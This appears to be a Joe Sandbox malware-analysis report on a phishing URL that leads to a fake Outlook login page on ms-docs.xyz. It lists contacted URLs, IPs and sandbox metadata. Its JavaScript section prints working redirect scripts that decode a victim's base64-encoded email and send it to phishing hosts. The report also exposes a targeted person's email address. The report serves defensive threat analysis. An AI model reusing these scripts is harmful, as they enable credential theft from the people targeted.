https://www.ms-docs.xyz/auth/?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	false	Avira URL Cloud: phishing	unknown
https://www.ms-docs.xyz/auth/resources/segoeui-regular.ttf	false	Avira URL Cloud: phishing	unknown
https://oyatsu-jikan.org/	true	Avira URL Cloud: safe	unknown
https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com	true		unknown
https://www.ms-docs.xyz/auth/resources/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://www.ms-docs.xyz/index.php?csrftoken=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	false	Avira URL Cloud: safe	unknown
https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://oyatsu-jikan.org/wp-includes/css/dist/block-library/style.min.css?ver=5.9	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/page/2/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://ofdls.online/#	chromecache_61.3.dr	true	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/category/bang-dream/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-includes/js/jquery/jquery.min.js?ver=3.6.0	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/author/zeroyuki/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://autonews.life/range-rover-sport-p550e-2024/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/uploads/2017/07/OyatsuJapan-300x169.jpg	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://tokyotosho.info/search.php?username=Oyatsufs	chromecache_61.3.dr	false		high
https://oyatsu-jikan.org/projects/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/projects/ongoing/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/summer-recommendation-made-in-abyss/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/images/pins/Pin2.png);	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/uploads/2017/09/Bandori_14_premux.mkv_snapshot_11.09_2017.08.27_	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/page/3/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://animetosho.org	chromecache_61.3.dr	false		high
https://oyatsu-jikan.org/projects/dropped/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://ozxa.xyz/#	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://autonews.life/lexus-gx550-2024/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://www.cryoutcreations.eu/mantra	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/spring-recommendation-tsugumomo/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/xmlrpc.php	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/spring-recommendation-tsugumomo/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/category/announcement/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/page/26/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://tracker.minglong.org/oyatsu	chromecache_61.3.dr	false		high
http://www.ascenderfonts.com/info/webfont-eula.aspx	chromecache_66.3.dr, chromecache_62.3.dr	false	Avira URL Cloud: safe	unknown
http://www.aniyoshi.com	chromecache_61.3.dr	false	Avira URL Cloud: malware	unknown
https://www.web-api.top/?email=	chromecache_65.3.dr, chromecache_61.3.dr	false	Avira URL Cloud: phishing	unknown
https://oyatsu-jikan.org/category/anime/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://tracker.anime-index.org/index.php?page=torrents&search=Oyatsu&category=0&activ	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://gmpg.org/xfn/11	chromecache_61.3.dr	false		high
https://oyatsu-jikan.org/bang-dream-14-ova/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/uploads/2012/08/cropped-Banner.jpg	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://wordpress.org/	chromecache_61.3.dr	false		high
https://oyatsu-jikan.org/wp-content/uploads/2021/04/01.mkv_snapshot_06.54.134.png	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/playback-guide/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/irc/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://www.ms-docs.xyz/?email=	chromecache_65.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/robomasters-the-animated-series-01/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-02/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/robomasters-the-animated-series-01/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/robomasters-02-and-were-continuing/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://autolife.news/obzor-bmw-x6-m60i-2024-goda/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/category/news/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/feed/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-login.php	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/css/style-mobile.css?ver=3.3.1	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://wordpress.org/	chromecache_61.3.dr	false		high
https://oyatsu-jikan.org/regarding-nyaatorrents/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/xdcc/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/slightly-belated-happy-6th-anniversary/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/robomasters-02-and-were-continuing/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/about/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/category/uncategorized/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/category/robomasters/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://regenbogen-kueche.de/clean/token/referrer=	chromecache_65.3.dr, chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://www.nyaa.eu/?page=torrents&user=126994	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/summer-recommendation-made-in-abyss/#respond	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-includes/wlwmanifest.xml	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://virus123.brokenforums.net/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/uploads/2017/12/Oyatsu-Robomasters-The-Animated-Series-02-1280x7	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://shini-subs.com/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/themes/mantra/style.css?ver=3.3.1	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://visualnovelaer.fuwanovel.org/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/visual-novel/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-01/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/uploads/2017/10/01-ss-2-300x169.png	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://api.w.org/	chromecache_61.3.dr	false		high
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-01/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/comments/feed/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/bang-dream-14-ova/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/js/PIE/PIE.php);	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/xmlrpc.php?rsd	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://autonews.life/mercedes-amg-cla-35-4matic-2024/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/faqs/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/projects/completed/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://autolife.news/bmw-x7-2024/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/it-was-nice-while-it-lasted/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://autolife.news/audi-a8-2024/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/uploads/2021/05/02_001_20827.png	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-02/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-json/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
http://www.nozomi-subs.blogspot.in/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/slightly-belated-happy-6th-anniversary/#comments	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/js/frontend.js?ver=3.3.1	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown
https://oyatsu-jikan.org/regarding-nyaatorrents/	chromecache_61.3.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
101.99.88.62	www.ms-docs.xyz	Malaysia	45839	SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMY	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
176.31.121.57	oyatsu-jikan.org	France	16276	OVHFR	true
101.99.88.67	ofdls.online	Malaysia	45839	SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMY	true

Private

IP
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567532
Start date and time:	2024-12-03 15:31:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.troj.win@18/19@10/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 74.125.205.84, 34.104.35.123, 192.229.221.95, 172.217.19.234, 172.217.19.170, 142.250.181.138, 172.217.17.42, 172.217.19.202, 142.250.181.74, 142.250.181.42, 172.217.17.74, 172.217.21.42, 142.250.181.10, 142.250.181.106, 216.58.208.234, 172.217.17.78, 172.217.17.67
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=

Input	Output
URL: https://oyatsu-jikan.org Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://oyatsu-jikan.org
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "Script uses a legitimate form submission after a delay (1.5 seconds). While auto-form submission could potentially be misused, this implementation uses standard DOM methods and contains no obfuscation, data exfiltration, or suspicious domains. The delay suggests a user experience consideration rather than malicious intent." }
window.onload=function(){ window.setTimeout(document.myform.submit.bind(document.myform),1500); };
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This appears to be a legitimate Microsoft Outlook Web Access (OWA) logon script with standard authentication functionality. It contains low-risk behaviors like cookie handling and DOM manipulation for login purposes. While it uses some legacy practices (like document.execCommand), it operates within expected parameters for a login page. The script interacts only with the local domain and contains no suspicious data transmission or obfuscation." }
// flogon.js // // This file contains the script used by Logon.aspx // //Copyright (c) 2003-2006 Microsoft Corporation. All rights reserved. /// <summary> /// OnLoad handler for logon page /// </summary> window.onload = function () { // If we are replacing the current window with the logon page, initialize the logon page UI now // if (a_fRC) initLogon(); // Otherwise we need to find the window to replace with the logon page and redirect that window // else redir(); }; /// <summary> /// Initializes the logon page /// </summary> function initLogon() { try { // // we don't call document.execCommand("ClearAuthenticationCache","false"); anymore. As a part of the Pending-Notification // infrastructure, we are making a change to make sure startpage does not get loaded more than once. This solution is cookie // based. This execCommand was clearing all cookies in the scenario when a user logged on from a child window during an // FBA timeout. We do not want that to happen anymore. If this breaks anything, we may need to consider a different solution. // // Old Comments: // If the "Clear the Authentication Cache" flag is set to true and // we are coming from the logoff page , clear the cache. See bug 41770 and 5840 for details. // // Logoff the S-Mime control. // LogoffMime(); } catch (e) { } // Check for username cookie // var re = /(^\|; )logondata=acc=([0\|1])&lgn=([^;]+)(;\|$)/; var rg = re.exec(document.cookie); if (rg) { // Fill in username, set security to private, and restore the "use basic" selection // gbid("username").value = rg[3]; try { var signInErrorElement = gbid("signInErrorDiv"); if (signInErrorElement) { signInErrorElement.focus(); } else { gbid("password").focus(); } } catch (e) {} if (gbid("chkPrvt") && !gbid("chkPrvt").checked) { gbid("chkPrvt").click(); } if (rg[2] == "1" && gbid("chkBsc")) // chkBsc doesn't exist if the request comes from ECP gbid("chkBsc").click(); } else { // The variable g_fFcs is set to false when the password gains focus, // so that we don't accidentally set focus to the username field while // the user is typing their password // if (g_fFcs) { try { gbid("username").focus(); } catch (e) { } } } // OWA Premium currently supports // IE 7+, Safari 3+, Firefox 3+ for Windows / Mac if (IsOwaPremiumBrowser() && gbid("chkBsc")) // chkBsc doesn't exist if the request comes from ECP gbid("chkBsc").disabled = false; // Are cookies enabled? // var sCN = "cookieTest"; document.cookie = sCN + "=1"; var cookiesEnabled = document.cookie.indexOf(sCN + "=") != -1; if (cookiesEnabled == false) { shw(gbid("cookieMsg")); hd(gbid("lgnDiv")); } // Show the public/private warning message clkSec(); } /// <summary> /// Finds the frame we want to load the logon page into, and then loads it there /// </summary> function redir() { var o = window; // If we're in a dialog, open a logon window and close the dialog - this // basically inlines a version of opnWin() so that we don't need to include // uglobal.js in logon.aspx // try { if (o.dialogArguments) { var sWN = new String(Math.round(Math.random() * 100000)); var sF = "toolbar=0,location=0,directories=0,status=1,menubar=0,scrollbars=1,resizable=1,width=800,height=600"; var iT = Math.round((screen.availHeight - 600) / 2); var iL =
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a legacy code snippet for handling S/MIME controls in Internet Explorer, likely from an old email client. Contains commented-out ActiveX code (which could be dangerous if active) but is effectively inert. No actual malicious behaviors present, just outdated security practices." }
var a_fRC = 1; var g_fFcs = 1; var a_fLOff = 0; var a_fCAC = 0; var a_fEnbSMm = 0; /// <summary> /// Is Mime Control installed? /// </summary> function IsMimeCtlInst(progid) { if (!a_fEnbSMm) return false; var oMimeVer = null; try { // TODO: ingore this on none IE browser // //oMimeVer = new ActiveXObject(progid); } catch (e) { } if (oMimeVer != null) return true; else return false; } /// <summary> /// Render out the S-MIME control if it is installed. /// </summary> function RndMimeCtl() { } /// <summary> /// Helper function to factor out the rendering of the S/MIME control. /// </summary> -->
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script showing multiple red flags: 1) Uses base64 encoding/decoding for obfuscation (+3), 2) Redirects to suspicious domain 'ofdls.online' (+3), 3) Contains commented-out redirects to multiple suspicious domains suggesting fallback mechanisms (+2), 4) Manipulates email addresses and uses them in redirects, indicating potential credential harvesting (+1). Additional risk due to suspicious domain patterns and apparent phishing behavior (+1)." }
function validateEmail(referrer) { var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(referrer); } decodeBase64 = function(s) { var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length; var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for(i=0;i<64;i++){e[A.charAt(i)]=i;} for(x=0;x<L;x++){ c=e[s.charAt(x)];b=(b<<6)+c;l+=6; while(l>=8){((a=(b>>>(l-=8))&0xff)\|\|(x<(L-2)))&&(r+=w(a));} } return r; } //var ramp = window.location.hash.substring(1); var hash = window.location.hash.substring(1); var email = decodeBase64(hash); var email64 = decodeBase64(hash); var email2 = email64.replace('$', '@'); var hash2 = btoa(email2); console.log(email); if(validateEmail(email2)) { console.log(email); window.location = "https://ofdls.online/#"+hash2; //window.location = "https://ozxa.xyz/#"+hash; //window.location = "https://www.web-api.top/?email="+hash; //window.location = "https://regenbogen-kueche.de/clean/token/referrer="+email; //window.location = "https://www.kaandlarugs.com/vincar/token/referrer="+ramp; }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a legitimate IE10 mobile viewport fix script. It only performs benign DOM manipulation by adding a CSS viewport rule for IE Mobile 10 compatibility. The script uses standard DOM APIs, contains no external communications, and serves a clear, legitimate purpose for browser compatibility." }
(function() { if ("-ms-user-select"in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/)) { var msViewportStyle = document.createElement("style"); msViewportStyle.appendChild(document.createTextNode("@-ms-viewport{width:auto!important}")); document.getElementsByTagName("head")[0].appendChild(msViewportStyle); } } )();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The script contains basic DOM manipulation for login form functionality, including placeholder text and password visibility toggle. While it uses document.write (generally discouraged), it's only used for viewport meta tag insertion. No external data transmission, suspicious domains, or sensitive data handling patterns are present. The functionality is consistent with legitimate login form behavior." }
var mainLogonDiv = window.document.getElementById("mainLogonDiv"); var showPlaceholderText = false; var mainLogonDivClassName = 'mouse'; if (mainLogonDivClassName == "tnarrow") { showPlaceholderText = true; // Output meta tag for viewport scaling document.write('<meta name="viewport" content="width = 320, initial-scale = 1.0, user-scalable = no" />'); } else if (mainLogonDivClassName == "twide"){ showPlaceholderText = true; } function setPlaceholderText() { window.document.getElementById("username").placeholder = "user name"; window.document.getElementById("password").placeholder = "password"; window.document.getElementById("passwordText").placeholder = "password"; } function showPasswordClick() { var showPassword = window.document.getElementById("showPasswordCheck").checked; passwordElement = window.document.getElementById("password"); passwordTextElement = window.document.getElementById("passwordText"); if (showPassword) { passwordTextElement.value = passwordElement.value; passwordElement.style.display = "none"; passwordTextElement.style.display = "inline"; passwordTextElement.focus(); } else { passwordElement.value = passwordTextElement.value; passwordTextElement.style.display = "none"; passwordTextElement.value = ""; passwordElement.style.display = "inline"; passwordElement.focus(); } }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk due to multiple concerning behaviors: 1) Uses base64 decoding of URL hash, potentially obfuscating malicious data (+3), 2) Redirects to suspicious domain 'ms-docs.xyz' which appears to be impersonating Microsoft (+3), 3) Passes encoded user data as URL parameter (+2). Additional risk due to presence of commented-out suspicious domains and apparent phishing infrastructure (+1). Domain naming pattern suggests credential harvesting attempt." }
function validateEmail(referrer) { var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)\|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(referrer); } decodeBase64 = function(s) { var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length; var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for(i=0;i<64;i++){e[A.charAt(i)]=i;} for(x=0;x<L;x++){ c=e[s.charAt(x)];b=(b<<6)+c;l+=6; while(l>=8){((a=(b>>>(l-=8))&0xff)\|\|(x<(L-2)))&&(r+=w(a));} } return r; } //var ramp = window.location.hash.substring(1); var hash = window.location.hash.substring(1); var email = decodeBase64(hash); console.log(email); if(validateEmail(email)) { console.log(email); window.location = "https://www.ms-docs.xyz/?email="+hash; //window.location = "https://www.web-api.top/?email="+hash; //window.location = "https://regenbogen-kueche.de/clean/token/referrer="+email; //window.location = "https://www.kaandlarugs.com/vincar/token/referrer="+ramp; }
URL: https://www.ms-docs.xyz/check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Opening your mailbox...", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.ms-docs.xyz/check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "sign in", "prominent_button_name": "sign in", "text_input_field_labels": [ "Email address:", "Password:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "The user name or password you entered isn't correct. Try entering it again.", "prominent_button_name": "sign in", "text_input_field_labels": [ "Email address:", "Password:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com Model: Joe Sandbox AI	```json{ "legit_domain": "outlook.com", "classification": "wellknown", "reasons": [ "The brand 'Outlook' is well-known and is associated with Microsoft.", "The legitimate domain for Outlook is 'outlook.com', which is owned by Microsoft.", "The URL 'www.ms-docs.xyz' does not match the legitimate domain for Outlook.", "The domain 'ms-docs.xyz' is suspicious as it does not relate to any known Microsoft domain.", "The use of 'ms' could be an attempt to mimic 'Microsoft', which is a common phishing tactic.", "The domain extension '.xyz' is unusual for a well-known brand like Outlook, which typically uses '.com'.", "The presence of input fields for email and password on a suspicious domain increases the risk of phishing." ], "riskscore": 9} Google indexed: False
URL: www.ms-docs.xyz Brands: Outlook Input Fields: Email address:, Password:
URL: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com Model: Joe Sandbox AI	{ "brands": [ "Outlook" ] }
	{ "brands": [ "Outlook" ] }
URL: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&reason=2&url=http%3A%2F%2Fnationaltubesupply.com Model: Joe Sandbox AI	```json{ "legit_domain": "outlook.com", "classification": "wellknown", "reasons": [ "The brand 'Outlook' is well-known and is associated with Microsoft.", "The legitimate domain for Outlook is 'outlook.com', which is owned by Microsoft.", "The URL 'www.ms-docs.xyz' does not match the legitimate domain for Outlook.", "The domain 'ms-docs.xyz' is suspicious as it does not relate to any known Microsoft domain.", "The use of 'ms' could be an attempt to mimic 'Microsoft', which is a common phishing tactic.", "The domain extension '.xyz' is unusual for a well-known brand like Outlook, which typically uses '.com'.", "The presence of input fields for 'Email address' and 'Password' on a suspicious domain increases the risk of phishing." ], "riskscore": 9} Google indexed: False
URL: www.ms-docs.xyz Brands: Outlook Input Fields: Email address:, Password:

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 13:32:10 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.976735224090255
Encrypted:	false
SSDEEP:	48:8AdBTwmH0eidAKZdA1P4ehwiZUklqehry+3:8a8IOky
MD5:	9F86919A05B94A3485A0D0C01C4F9B17
SHA1:	D8F58A6ADE58AAC16A7B508EBD01360513395A9A
SHA-256:	276FE0B92C7BC613DBF19B8CD17C45559AEB9AD3486991680536D74BAAFC7826
SHA-512:	BB7D6FDD5194FA6119CB8DDABE57B9A86369979A2138E04CF1D22680D04CD5235A635BCCA0E8D03F18D7B7A378142CEFDD8570E70BCFC4548870F1BDFC4FFCB6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....f.#.E....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.t....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.t....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.t....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.t.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.t...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O.Q.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 